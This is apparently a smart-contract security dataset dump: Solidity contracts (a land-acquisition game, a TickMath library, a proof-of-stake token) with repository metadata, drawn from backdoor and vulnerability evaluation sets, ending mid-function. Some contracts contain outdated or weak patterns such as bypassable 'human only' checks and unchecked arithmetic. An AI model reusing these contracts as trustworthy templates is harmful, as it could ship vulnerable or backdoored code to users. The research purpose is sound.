function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 215,283 | 10,837 |
36936625c1eb11631c8c06b67ab18085c5b96b36d36f048c1344cd064099e1ba
| 19,559 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x7ef864b36f1ec60d6461ea311385ef41e6d091f8.sol
| 5,782 | 18,833 |
pragma solidity ^0.4.24;
library MathLib {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
assert(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0 || b == 0) {
c = 0;
} else {
c = a * b;
assert(c / a == b);
}
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a / b;
}
}
interface IMultiOwnable {
function owners() external view returns (address[]);
function transferOwnership(address newOwner) external;
function appointHeir(address heir) external;
function succeedOwner(address owner) external;
event OwnershipTransfer(address indexed owner, address indexed newOwner);
event HeirAppointment(address indexed owner, address indexed heir);
event OwnershipSuccession(address indexed owner, address indexed heir);
}
library AddressLib {
using AddressLib for AddressLib.Set;
function isEmpty(address value) internal pure returns (bool) {
return value == address(0);
}
function isSender(address value) internal view returns (bool) {
return value == msg.sender;
}
struct Set {
address[] vals;
mapping(address => uint256) seqs;
}
function values(Set storage set) internal view returns (address[]) {
return set.vals;
}
function count(Set storage set) internal view returns (uint256) {
return set.vals.length;
}
function first(Set storage set) internal view returns (address) {
require(set.count() > 0, "Set cannot be empty");
return set.vals[0];
}
function last(Set storage set) internal view returns (address) {
require(set.count() > 0, "Set cannot be empty");
return set.vals[set.vals.length - 1];
}
function contains(Set storage set, address value) internal view returns (bool) {
return set.seqs[value] > 0;
}
function add(Set storage set, address value) internal {
if (!set.contains(value)) {
set.seqs[value] = set.vals.push(value);
}
}
function remove(Set storage set, address value) internal {
if (set.contains(value)) {
uint256 seq = set.seqs[value];
if (seq < set.count()) {
address lastVal = set.last();
set.vals[seq - 1] = lastVal;
set.seqs[lastVal] = seq;
}
set.vals.length--;
set.seqs[value] = 0;
}
}
}
contract MultiOwnable is IMultiOwnable {
using AddressLib for address;
using AddressLib for AddressLib.Set;
AddressLib.Set private _owners;
mapping(address => address) private _heirs;
modifier onlyOwner {
require(_owners.contains(msg.sender), "Only allowed for a owner");
_;
}
constructor (address[] owners) internal {
for (uint256 i = 0; i < owners.length; i++) {
_owners.add(owners[i]);
}
}
function owners() external view returns (address[]) {
return _owners.values();
}
function transferOwnership(address newOwner) external onlyOwner {
_transferOwnership(msg.sender, newOwner);
emit OwnershipTransfer(msg.sender, newOwner);
}
function appointHeir(address heir) external onlyOwner {
_heirs[msg.sender] = heir;
emit HeirAppointment(msg.sender, heir);
}
function succeedOwner(address owner) external {
require(_heirs[owner].isSender(), "Only heir may succeed owner");
_transferOwnership(owner, msg.sender);
emit OwnershipSuccession(owner, msg.sender);
}
function _transferOwnership(address owner, address newOwner) private {
_owners.remove(owner);
_owners.add(newOwner);
_heirs[owner] = address(0);
}
}
contract Geo {
enum Class { District, Zone, Target }
enum Status { Locked, Unlocked, Owned }
struct Area {
Class class;
Status status;
uint256 parent;
uint256[] siblings;
uint256[] children;
address owner;
uint256 cost;
uint256 unlockTime;
}
mapping(uint256 => Area) internal areas;
constructor () internal { }
function initAreas() internal {
areas[0].class = Class.Target;
areas[1].class = Class.District;
areas[1].parent = 46;
areas[1].siblings = [2,3];
areas[2].class = Class.District;
areas[2].parent = 46;
areas[2].siblings = [1,3];
areas[3].class = Class.District;
areas[3].parent = 46;
areas[3].siblings = [1,2,4,6,8,9,11,13];
areas[4].class = Class.District;
areas[4].parent = 46;
areas[4].siblings = [3,5,6,9];
areas[5].class = Class.District;
areas[5].parent = 46;
areas[5].siblings = [4,6,7,9,37,38,39,41];
areas[6].class = Class.District;
areas[6].parent = 46;
areas[6].siblings = [3,4,5,7,13,22];
areas[7].class = Class.District;
areas[7].parent = 46;
areas[7].siblings = [5,6,21,22,26,38];
areas[8].class = Class.District;
areas[8].parent = 46;
areas[9].class = Class.District;
areas[9].parent = 47;
areas[9].siblings = [3,4,5,10,11,12,39,41];
areas[10].class = Class.District;
areas[10].parent = 47;
areas[10].siblings = [9,11,12];
areas[11].class = Class.District;
areas[11].parent = 47;
areas[11].siblings = [3,9,10,14];
areas[12].class = Class.District;
areas[12].parent = 47;
areas[12].siblings = [9,10];
areas[13].class = Class.District;
areas[13].parent = 47;
areas[13].siblings = [3,6,15,16,17,22];
areas[14].class = Class.District;
areas[14].parent = 47;
areas[15].class = Class.District;
areas[15].parent = 47;
areas[16].class = Class.District;
areas[16].parent = 47;
areas[17].class = Class.District;
areas[17].parent = 48;
areas[17].siblings = [13,18,19,22,23];
areas[18].class = Class.District;
areas[18].parent = 48;
areas[18].siblings = [17,19];
areas[19].class = Class.District;
areas[19].parent = 48;
areas[19].siblings = [17,18,20,21,22,25];
areas[20].class = Class.District;
areas[20].parent = 48;
areas[20].siblings = [19,21,24,27];
areas[21].class = Class.District;
areas[21].parent = 48;
areas[21].siblings = [7,19,20,22,26,27];
areas[22].class = Class.District;
areas[22].parent = 48;
areas[22].siblings = [6,7,13,17,19,21];
areas[23].class = Class.District;
areas[23].parent = 48;
areas[24].class = Class.District;
areas[24].parent = 48;
areas[25].class = Class.District;
areas[25].parent = 48;
areas[26].class = Class.District;
areas[26].parent = 49;
areas[26].siblings = [7,21,27,28,31,38];
areas[27].class = Class.District;
areas[27].parent = 49;
areas[27].siblings = [20,21,26,28,29,32,33,34,36];
areas[28].class = Class.District;
areas[28].parent = 49;
areas[28].siblings = [26,27,30,31,35];
areas[29].class = Class.District;
areas[29].parent = 49;
areas[29].siblings = [27];
areas[30].class = Class.District;
areas[30].parent = 49;
areas[30].siblings = [28,31,37,42];
areas[31].class = Class.District;
areas[31].parent = 49;
areas[31].siblings = [26,28,30,37,38];
areas[32].class = Class.District;
areas[32].parent = 49;
areas[32].siblings = [27];
areas[33].class = Class.District;
areas[33].parent = 49;
areas[33].siblings = [27];
areas[34].class = Class.District;
areas[34].parent = 49;
areas[35].class = Class.District;
areas[35].parent = 49;
areas[36].class = Class.District;
areas[36].parent = 49;
areas[37].class = Class.District;
areas[37].parent = 50;
areas[37].siblings = [5,30,31,38,39,40,42,45];
areas[38].class = Class.District;
areas[38].parent = 50;
areas[38].siblings = [5,7,26,31,37];
areas[39].class = Class.District;
areas[39].parent = 50;
areas[39].siblings = [5,9,37,40,41,43,44];
areas[40].class = Class.District;
areas[40].parent = 50;
areas[40].siblings = [37,39,42,43];
areas[41].class = Class.District;
areas[41].parent = 50;
areas[41].siblings = [5,9,39];
areas[42].class = Class.District;
areas[42].parent = 50;
areas[42].siblings = [30,37,40,43];
areas[43].class = Class.District;
areas[43].parent = 50;
areas[43].siblings = [39,40,42];
areas[44].class = Class.District;
areas[44].parent = 50;
areas[45].class = Class.District;
areas[45].parent = 50;
areas[46].class = Class.Zone;
areas[46].children = [1,2,3,4,5,6,7,8];
areas[47].class = Class.Zone;
areas[47].children = [9,10,11,12,13,14,15,16];
areas[48].class = Class.Zone;
areas[48].children = [17,18,19,20,21,22,23,24,25];
areas[49].class = Class.Zone;
areas[49].children = [26,27,28,29,30,31,32,33,34,35,36];
areas[50].class = Class.Zone;
areas[50].children = [37,38,39,40,41,42,43,44,45];
}
}
contract Configs {
address[] internal GAME_MASTER_ADDRESSES = [
0xb855F909a562f65954687c9c4BC6695424f68885,
address(0),
address(0),
address(0),
address(0)
];
address internal constant ROYALTY_ADDRESS = 0xb855F909a562f65954687c9c4BC6695424f68885;
uint256 internal constant AREA_COUNT = 51;
uint256 internal constant TARGET_AREA = 0;
uint256 internal constant SOURCE_AREA = 1;
uint256 internal constant ZONE_START = 46;
uint256 internal constant ZONE_COUNT = 5;
uint256[][] internal UNLOCKED_CONFIGS = [
[uint256(1 * 10**10), 0, 0, 0, 5, 4],
[uint256(2 * 10**10), 0, 0, 0, 4, 3],
[uint256(3 * 10**10), 0, 0, 0, 3, 2]
];
uint256[][] internal OWNED_CONFIGS = [
[uint256(90), 2, 3, 5, 4],
[uint256(80), 0, 5, 4, 3],
[uint256(99), 0, 1, 3, 2]
];
uint256 internal constant DISTRICT_UNLOCK_TIME = 1 seconds;
uint256 internal constant ZONE_UNLOCK_TIME = 3 seconds;
uint256 internal constant TARGET_UNLOCK_TIME = 10 seconds;
uint256 internal constant END_TIME_COUNTDOWN = 5 minutes;
uint256 internal constant DISTRICT_END_TIME_EXTENSION = 30 seconds;
uint256 internal constant ZONE_END_TIME_EXTENSION = 30 seconds;
uint256 internal constant TARGET_END_TIME_EXTENSION = 30 seconds;
uint256 internal constant LAST_OWNER_SHARE = 55;
uint256 internal constant TARGET_OWNER_SHARE = 30;
uint256 internal constant SOURCE_OWNER_SHARE = 5;
uint256 internal constant ZONE_OWNERS_SHARE = 10;
}
contract Main is Configs, Geo, MultiOwnable {
using MathLib for uint256;
uint256 private endTime;
uint256 private countdown;
address private lastOwner;
event Settings(uint256 lastOwnerShare, uint256 targetOwnerShare, uint256 sourceOwnerShare, uint256 zoneOwnersShare);
event Summary(uint256 currentTime, uint256 endTime, uint256 prize, address lastOwner);
event Reset();
event Start();
event Finish();
event Unlock(address indexed player, uint256 indexed areaId, uint256 unlockTime);
event Acquisition(address indexed player, uint256 indexed areaId, uint256 price, uint256 newPrice);
event Post(address indexed player, uint256 indexed areaId, string message);
event Dub(address indexed player, string nickname);
modifier onlyHuman {
uint256 codeSize;
address sender = msg.sender;
assembly { codeSize := extcodesize(sender) }
require(sender == tx.origin, "Sorry, human only");
require(codeSize == 0, "Sorry, human only");
_;
}
constructor () public MultiOwnable(GAME_MASTER_ADDRESSES) { }
function init() external onlyOwner {
require(countdown == 0 && endTime == 0, "Game has already been initialized");
initAreas();
reset();
emit Settings(LAST_OWNER_SHARE, TARGET_OWNER_SHARE, SOURCE_OWNER_SHARE, ZONE_OWNERS_SHARE);
}
function start() external onlyOwner {
require(areas[SOURCE_AREA].status == Status.Locked, "Game has already started");
areas[SOURCE_AREA].status = Status.Unlocked;
emit Start();
}
function finish() external onlyOwner {
require(endTime > 0 && now >= endTime, "Cannot end yet");
uint256 unitValue = address(this).balance.div(100);
uint256 zoneValue = unitValue.mul(ZONE_OWNERS_SHARE).div(ZONE_COUNT);
for (uint256 i = 0; i < ZONE_COUNT; i++) {
areas[ZONE_START.add(i)].owner.transfer(zoneValue);
}
lastOwner.transfer(unitValue.mul(LAST_OWNER_SHARE));
areas[TARGET_AREA].owner.transfer(unitValue.mul(TARGET_OWNER_SHARE));
areas[SOURCE_AREA].owner.transfer(unitValue.mul(SOURCE_OWNER_SHARE));
emit Finish();
for (i = 0; i < AREA_COUNT; i++) {
delete areas[i].cost;
delete areas[i].owner;
delete areas[i].status;
delete areas[i].unlockTime;
}
reset();
}
function acquire(uint256 areaId) external payable onlyHuman {
//TODO: trigger special events within this function somewhere
require(endTime == 0 || now < endTime, "Game has ended");
Area storage area = areas[areaId];
if (area.status == Status.Unlocked) {
area.cost = getInitialCost(area);
}
require(area.status != Status.Locked, "Cannot acquire locked area");
require(area.unlockTime <= now, "Cannot acquire yet");
require(area.owner != msg.sender, "Cannot acquire already owned area");
require(area.cost == msg.value, "Incorrect value for acquiring this area");
uint256 unitValue = msg.value.div(100);
uint256 ownerShare;
uint256 parentShare;
uint256 devShare;
uint256 inflationNum;
uint256 inflationDenom;
(ownerShare, parentShare, devShare, inflationNum, inflationDenom) = getConfigs(area);
if (ownerShare > 0) {
area.owner.transfer(unitValue.mul(ownerShare));
}
if (parentShare > 0 && areas[area.parent].status == Status.Owned) {
areas[area.parent].owner.transfer(unitValue.mul(parentShare));
}
if (devShare > 0) {
ROYALTY_ADDRESS.transfer(unitValue.mul(devShare));
}
area.cost = area.cost.mul(inflationNum).div(inflationDenom);
area.owner = msg.sender;
if (area.class != Class.Target) {
lastOwner = msg.sender;
}
emit Acquisition(msg.sender, areaId, msg.value, area.cost);
if (area.status == Status.Unlocked) {
area.status = Status.Owned;
countdown = countdown.sub(1);
if (area.class == Class.District) {
tryUnlockSiblings(area);
tryUnlockParent(area);
} else if (area.class == Class.Zone) {
tryUnlockTarget();
} else if (area.class == Class.Target) {
endTime = now.add(END_TIME_COUNTDOWN);
}
} else if (area.status == Status.Owned) {
if (endTime > 0) {
if (area.class == Class.District) {
endTime = endTime.add(DISTRICT_END_TIME_EXTENSION);
} else if (area.class == Class.Zone) {
endTime = endTime.add(ZONE_END_TIME_EXTENSION);
} else if (area.class == Class.Target) {
endTime = endTime.add(TARGET_END_TIME_EXTENSION);
}
}
if (endTime > now.add(END_TIME_COUNTDOWN)) {
endTime = now.add(END_TIME_COUNTDOWN);
}
}
emit Summary(now, endTime, address(this).balance, lastOwner);
}
function post(uint256 areaId, string message) external onlyHuman {
require(areas[areaId].owner == msg.sender, "Cannot post message on other's area");
emit Post(msg.sender, areaId, message);
}
function dub(string nickname) external onlyHuman {
emit Dub(msg.sender, nickname);
}
function reset() private {
delete endTime;
countdown = AREA_COUNT;
delete lastOwner;
emit Reset();
}
function tryUnlockSiblings(Area storage area) private {
for (uint256 i = 0; i < area.siblings.length; i++) {
Area storage sibling = areas[area.siblings[i]];
if (sibling.status == Status.Locked) {
sibling.status = Status.Unlocked;
sibling.unlockTime = now.add(DISTRICT_UNLOCK_TIME);
emit Unlock(msg.sender, area.siblings[i], sibling.unlockTime);
}
}
}
function tryUnlockParent(Area storage area) private {
Area storage parent = areas[area.parent];
for (uint256 i = 0; i < parent.children.length; i++) {
Area storage child = areas[parent.children[i]];
if (child.status != Status.Owned) {
return;
}
}
parent.status = Status.Unlocked;
parent.unlockTime = now.add(ZONE_UNLOCK_TIME);
emit Unlock(msg.sender, area.parent, parent.unlockTime);
}
function tryUnlockTarget() private {
if (countdown == 1) {
areas[TARGET_AREA].status = Status.Unlocked;
areas[TARGET_AREA].unlockTime = now.add(TARGET_UNLOCK_TIME);
emit Unlock(msg.sender, TARGET_AREA, areas[TARGET_AREA].unlockTime);
}
}
function getInitialCost(Area storage area) private view returns (uint256) {
return UNLOCKED_CONFIGS[uint256(area.class)][0];
}
function getConfigs(Area storage area) private view returns (uint256, uint256, uint256, uint256, uint256) {
uint256 index = uint256(area.class);
if (area.status == Status.Unlocked) {
return (UNLOCKED_CONFIGS[index][1], UNLOCKED_CONFIGS[index][2], UNLOCKED_CONFIGS[index][3], UNLOCKED_CONFIGS[index][4], UNLOCKED_CONFIGS[index][5]);
} else if (area.status == Status.Owned) {
return (OWNED_CONFIGS[index][0], OWNED_CONFIGS[index][1], OWNED_CONFIGS[index][2], OWNED_CONFIGS[index][3], OWNED_CONFIGS[index][4]);
}
}
}
| 143,694 | 10,838 |
59348d5875ca1efa02deb639ccf5fa643f4327dc0aafcba16889e565df2175db
| 10,243 |
.sol
|
Solidity
| false |
465916010
|
makerdao/dss-kiln
|
6ebf72fff8592bfcd844c2efecc19bc8549a1e0d
|
src/uniV3/TickMath.sol
| 3,489 | 8,894 |
// SPDX-FileCopyrightText: 2022 Dai Foundation <www.daifoundation.org>
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.14;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// prices between 2**-128 and 2**128
library TickMath {
int24 internal constant MIN_TICK = -887272;
int24 internal constant MAX_TICK = -MIN_TICK;
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO =
1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// at the given tick
function getSqrtRatioAtTick(int24 tick)
internal
pure
returns (uint160 sqrtPriceX96)
{
uint256 absTick =
tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
// EDIT: 0.8 compatibility
require(absTick <= uint256(int256(MAX_TICK)), "T");
uint256 ratio =
absTick & 0x1 != 0
? 0xfffcb933bd6fad37aa2d162d1a594001
: 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0)
ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0)
ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0)
ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0)
ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0)
ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0)
ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0)
ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0)
ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0)
ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0)
ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0)
ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0)
ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0)
ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0)
ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0)
ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0)
ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0)
ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0)
ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0)
ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96)
internal
pure
returns (int24 tick)
{
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO,
"R");
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow =
int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi =
int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi
? tickLow
: getSqrtRatioAtTick(tickHi) <= sqrtPriceX96
? tickHi
: tickLow;
}
}
| 3,898 | 10,839 |
bfd59f521e8fa1e188ebf1621651c81e79ea27c4679667ab61b0bf4c4eabeb98
| 16,547 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x887173c63d0497efaede003b7deff874d05dc823.sol
| 3,926 | 14,313 |
pragma solidity ^0.4.11;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bitstocksmarkettoken{
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract Bitstocksmarket is ERC20,Bitstocksmarkettoken,Ownable {
using SafeMath for uint256;
string public name = "Bitstocksmarket Token";
string public symbol = "BSM";
uint public decimals = 10;
uint256 public unitsOneEthCanBuy = 1700;
uint256 public totalEthInWei;
address public fundsWallet = 0x5b6389252ABcB3F5A58395b0DED3FbB1179fDD32;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 3 days; // minimum age for coin age: 3D
uint public stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake = 10**16; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function Bitstocksmarket() {
maxTotalSupply = 5000000000000000000; // 500 Mil.
totalInitialSupply = 500000000000000000; // 50 Mil.
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
